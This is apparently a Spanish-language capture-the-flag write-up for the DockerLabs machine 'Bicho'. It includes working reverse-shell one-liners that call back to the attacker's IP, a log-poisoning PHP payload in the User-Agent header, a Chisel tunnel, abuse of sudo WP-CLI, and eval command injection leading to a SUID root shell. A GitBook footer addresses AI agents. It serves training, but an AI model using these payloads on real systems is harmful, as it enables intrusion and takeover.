> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/bicho.md).

# Bicho

## Introduccion

En esta maquina de DockerLabs se compromete un WordPress expuesto bajo el virtual host `bicho.dl`. La primera parte pasa por enumeracion web, descubrimiento de `wp-content/debug.log` y abuso del log como vector de ejecucion para obtener una reverse shell como `www-data`.

Desde la shell inicial se leen credenciales en `wp-config.php`, se enumeran MySQL y servicios internos, y se descubre una aplicacion Flask/Werkzeug escuchando en local. Con Chisel se crea un tunel hacia esa aplicacion, se usa la consola interactiva de Werkzeug para conseguir una shell como `app`, despues se salta a `wpuser` abusando de `sudo` sobre WP-CLI y finalmente se escala a root mediante command injection en un script de backup con `eval`.

***

## Reconocimiento

Se realiza un escaneo con Nmap:

```bash
nmap -sVC -p- -T4 172.17.0.2
```

<div align="center"><img src="/files/kizxEJanlxGuQUEbYg9O" alt="Escaneo Nmap"></div>

El escaneo muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Nmap indica que el sitio redirige hacia:

```
http://bicho.dl
```

Se anade el dominio al archivo `/etc/hosts`:

```bash
172.17.0.2 bicho.dl
```

Al acceder al sitio aparece una instalacion de WordPress:

<div align="center"><img src="/files/QvVih7Yof3ylbeIh66HR" alt="Sitio WordPress bicho.dl"></div>

***

## Enumeracion web

Se prueban virtual hosts con Gobuster:

```bash
gobuster vhost -u http://bicho.dl \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain
```

<div align="center"><img src="/files/74GrTmax8LF5cXCKDB9e" alt="Gobuster vhost"></div>

Tambien se enumeran rutas:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,php,txt,py,sh,log
```

<div align="center"><img src="/files/k54L9ptjDRHuistuADeq" alt="Gobuster dir"></div>

En el codigo fuente se observan rutas propias de WordPress:

<div align="center"><img src="/files/p0ZLQzmaxLh8HTdMrqKf" alt="Codigo fuente WordPress"></div>

Con WPScan se confirma WordPress y se identifica un usuario:

<div align="center"><img src="/files/ljVq9snhjjs6gNGNmFx0" alt="WPScan"></div>

Datos interesantes:

```
WordPress 6.6.2
Usuario: bicho
Tema: bosa-travel-agency
```

El directorio de subidas permite listado:

<div align="center"><img src="/files/PD45XfXHuZUzUEmJ1jJU" alt="Directory listing uploads"></div>

***

## Debug log expuesto

WPScan detecta un log de debug accesible:

<div align="center"><img src="/files/grZUXwi01x2o6Twscg4x" alt="debug.log detectado"></div>

Se accede directamente a:

```
http://bicho.dl/wp-content/debug.log
```

<div align="center"><img src="/files/X85U3BN690NSIgF5KhRr" alt="debug.log expuesto"></div>

El log registra intentos fallidos de login, incluyendo el `User-Agent`. Esto permite probar log poisoning enviando payloads PHP en esa cabecera:

<div align="center"><img src="/files/jETzuUDC32InovQ1xh9i" alt="Prueba de User-Agent en debug.log"></div>

***

## Reverse shell como www-data

Primero se prepara una reverse shell codificada en Base64:

```bash
echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64
```

<div align="center"><img src="/files/Niae7KQG1nMukqcGWCAt" alt="Reverse shell en Base64"></div>

Se intercepta una peticion a `wp-login.php` y se modifica el `User-Agent` para que ejecute la reverse shell:

```php
<?php echo `printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= | base64 -d | bash`; ?>
```

<div align="center"><img src="/files/BVz4x72FbFd9IjqgEW9W" alt="Payload PHP en User-Agent"></div>

Se deja un listener esperando:

```bash
nc -lvnp 4444
```

La conexion llega como `www-data`:

<div align="center"><img src="/files/VnJ1EpryRPwUAHE6ZU9F" alt="Reverse shell como www-data"></div>

El navegador queda apuntando al log usado durante el proceso:

<div align="center"><img src="/files/KcGrjkQNE48aPJ3LiKdY" alt="debug.log en navegador"></div>

***

## Credenciales de WordPress

Desde la shell se revisa `wp-config.php`:

```bash
cat wp-config.php
```

<div align="center"><img src="/files/XtQriOgQahogMUgzrGb0" alt="wp-config.php"></div>

Aparecen credenciales de base de datos:

```
DB_NAME: bicho
DB_USER: bicho
DB_HOST: 127.0.0.1
```

Con esas credenciales se entra en MySQL:

```bash
mysql -h 127.0.0.1 -u bicho -p bicho
```

<div align="center"><img src="/files/fBUZ06nrUhi4VUXayuwq" alt="Acceso MySQL"></div>

Se enumeran tablas y usuarios:

```sql
SHOW TABLES;
SELECT * FROM wp_users;
```

<div align="center"><img src="/files/qQD23m4DzexixU2QdWG8" alt="Tabla wp_users"></div>

El usuario de WordPress es `bicho`, pero esta ruta no da una shell directa. Se continua enumerando servicios locales.

***

## Servicio interno

Se revisan puertos internos:

```bash
netstat -tuln
```

<div align="center"><img src="/files/6WRR7PoyB6Xi5ejCrJi7" alt="Puertos internos"></div>

Aparece un servicio escuchando en:

```
127.0.0.1:5000
```

Para acceder desde la maquina atacante se usa Chisel. En Kali se levanta el servidor:

```bash
chmod +x chisel_1.10.1_linux_amd64
./chisel_1.10.1_linux_amd64 server -p 1234 --reverse
```

<div align="center"><img src="/files/dF3SybImFAkJHlLKUe1R" alt="Servidor Chisel"></div>

Desde la maquina victima se conecta el cliente:

```bash
./chisel client 172.17.0.1:1234 R:9090:127.0.0.1:5000
```

<div align="center"><img src="/files/GO8RHtsrDfwNoHKzbUiT" alt="Cliente Chisel"></div>

Al abrir el servicio se observa un blog interno:

<div align="center"><img src="/files/RlRjmXwCxjxoYIOwwYBj" alt="Servicio interno en 5000"></div>

***

## Consola Werkzeug

Se enumera el servicio interno:

```bash
gobuster dir -u http://172.17.0.1:5000/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/SkZXYQc27cy7bjFz2Z3y" alt="Gobuster servicio interno"></div>

Se descubre:

```
/console
```

Al acceder aparece la consola interactiva de Werkzeug:

<div align="center"><img src="/files/QCeLAtj7T16s3ATQZluI" alt="Consola Werkzeug"></div>

Se ejecuta una reverse shell desde la consola:

```python
import os; os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/9001 0>&1'")
```

<div align="center"><img src="/files/kZyiHSvF1KNzQZr05H94" alt="Payload en consola Werkzeug"></div>

Con un listener en el puerto `9001`, llega una shell como `app`:

<div align="center"><img src="/files/zO9jQg9CqnTPAAXuPUsX" alt="Shell como app"></div>

***

## Movimiento lateral a wpuser

Se revisan permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/lOSbMMiE4tUkQOfVAcx4" alt="sudo -l como app"></div>

El usuario `app` puede ejecutar WP-CLI como `wpuser` sin password:

```
(wpuser) NOPASSWD: /usr/local/bin/wp
```

Se usa `wp --exec` para lanzar una reverse shell como `wpuser`:

```bash
sudo -u wpuser /usr/local/bin/wp --exec="system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/4545 0>&1\"');"
```

<div align="center"><img src="/files/w5bsW1L8EBxmbhqvMJHh" alt="Reverse shell con WP-CLI"></div>

En el listener llega la nueva shell:

<div align="center"><img src="/files/YaXDkjVK0algaGyZLo91" alt="Shell como wpuser"></div>

***

## Script vulnerable con sudo

Como `wpuser`, se revisan permisos:

```bash
sudo -l
```

<div align="center"><img src="/files/OGNnLMIXwjNqPJLShG5h" alt="sudo -l como wpuser"></div>

El usuario puede ejecutar como root:

```
/opt/scripts/backup.sh
```

Se revisa el script:

```bash
cat /opt/scripts/backup.sh
```

<div align="center"><img src="/files/sfR71uZxeKrvvYZDIpnq" alt="backup.sh vulnerable"></div>

El problema esta al construir un comando con el argumento recibido y ejecutarlo con `eval`:

```bash
LOG_NAME=$1
FULL_NAME="$LOG_DIR/$LOG_NAME.log"
COMMAND="/usr/bin/cp $FULL_NAME $BACKUP_DIR"
eval $COMMAND
```

Se confirma command injection:

```bash
sudo /opt/scripts/backup.sh "test; whoami;"
```

<div align="center"><img src="/files/Xs7ctQUvGYZYt4ri7gLp" alt="Command injection en backup.sh"></div>

El comando `whoami` se ejecuta como:

```
root
```

***

## Escalada a root

Se abusa de la inyeccion para asignar SUID a `/bin/bash`:

```bash
sudo /opt/scripts/backup.sh "test; chmod u+s /bin/bash;"
```

Despues se lanza Bash conservando privilegios efectivos:

```bash
/bin/bash -p
id
```

<div align="center"><img src="/files/uKPfZhvBtF0jmluH4Lxg" alt="Root con bash -p"></div>

El resultado muestra `euid=0(root)`, por lo que se obtiene una shell privilegiada.

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap y deteccion de WordPress en `bicho.dl`.
2. Enumeracion web con Gobuster y WPScan.
3. Identificacion del usuario `bicho`.
4. Descubrimiento de `wp-content/debug.log`.
5. Log poisoning mediante `User-Agent` en `wp-login.php`.
6. Reverse shell inicial como `www-data`.
7. Lectura de `wp-config.php`.
8. Enumeracion de MySQL y del usuario WordPress.
9. Descubrimiento del servicio interno `127.0.0.1:5000`.
10. Tunneling con Chisel.
11. Acceso a consola Werkzeug en `/console`.
12. Reverse shell como `app`.
13. Movimiento lateral a `wpuser` con `sudo /usr/local/bin/wp`.
14. Abuso de `/opt/scripts/backup.sh` mediante command injection.
15. SUID sobre `/bin/bash`.
16. Shell final con privilegios de `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/bicho.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
